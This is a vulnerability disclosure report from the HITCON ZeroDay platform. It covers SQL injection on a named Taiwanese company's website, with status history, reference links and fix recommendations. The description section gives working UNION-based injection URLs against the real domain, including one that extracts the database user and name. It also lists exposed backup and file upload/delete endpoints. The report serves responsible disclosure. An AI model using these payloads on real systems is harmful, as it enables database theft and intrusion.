Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2017-01123
- Vendor: 穩達商貿運籌股份有限公司
- Title: 穩達配 公司網站存在SQL Injection
- Introduction: UNION-based SQL Injection
處理狀態
目前狀態
公開
Last Update : 2018/02/10
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2017/11/27 22:09:27 : 新提交 (由 Happyholic1203 更新此狀態)
- 2017/11/27 22:11:11 : 新提交 (由 Happyholic1203 更新此狀態)
- 2017/11/28 23:33:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/12/25 10:47:42 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/12/25 10:47:43 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/01/25 16:43:51 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/02/10 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2017-01123
- 通報者:Happyholic1203 (Happyholic1203)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.wddfamily.com/news_detail.php?article_id=-1 union select 1,2,3,4,5,6,7,8,9 -- -
http://www.wddfamily.com/phpinfo.php.bak
http://www.wddfamily.com/lib/js/liveeditor/assetmanager/server/upload.php
http://www.wddfamily.com/lib/js/liveeditor/assetmanager/server/delfile.php
http://qbno.wms.wddfamily.com/index.php?qbno='
http://www.wddfamily.com/phpinfo.php.bak
http://www.wddfamily.com/lib/js/liveeditor/assetmanager/server/upload.php
http://www.wddfamily.com/lib/js/liveeditor/assetmanager/server/delfile.php
http://qbno.wms.wddfamily.com/index.php?qbno='
敘述
http://www.wddfamily.com/news_detail.php?article_id=-1 union select 1,2,3,4,5,6,7,8,9 -- -
在2, 5的地方可以把資料帶到網頁上 洩露db資料
例:?article_id=-1 union select 1,user(),3,4,database(),6,7,8,9 -- -即可得知db user和db name
http://www.wddfamily.com/phpinfo.php.bak洩露php版本及系統路徑
http://www.wddfamily.com/lib/js/liveeditor/assetmanager/server/提供上傳檔案、刪除檔案等功能
http://qbno.wms.wddfamily.com/index.php?qbno='很明顯的sql injection 應該可以利用error-based sqli帶資料出來
修補建議
1. 參數部份至少轉型一下 例`intval($_GET['article_id'])` 但最好的解決方式是全面採用prepared statement 如PDO
2. `phpinfo.php.bak`可以拿掉 且建議找一下有沒有其他`.bak`檔案 最好也一併拿掉 否則例如`config.inc.bak`可能被攻擊者載走
2. `/lib/js/liveeditor/assetmanager/server/`最好是拿掉
3. 把apache Options Indexes關掉
建議請專業資安公司做滲透測試或全面代碼審查
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。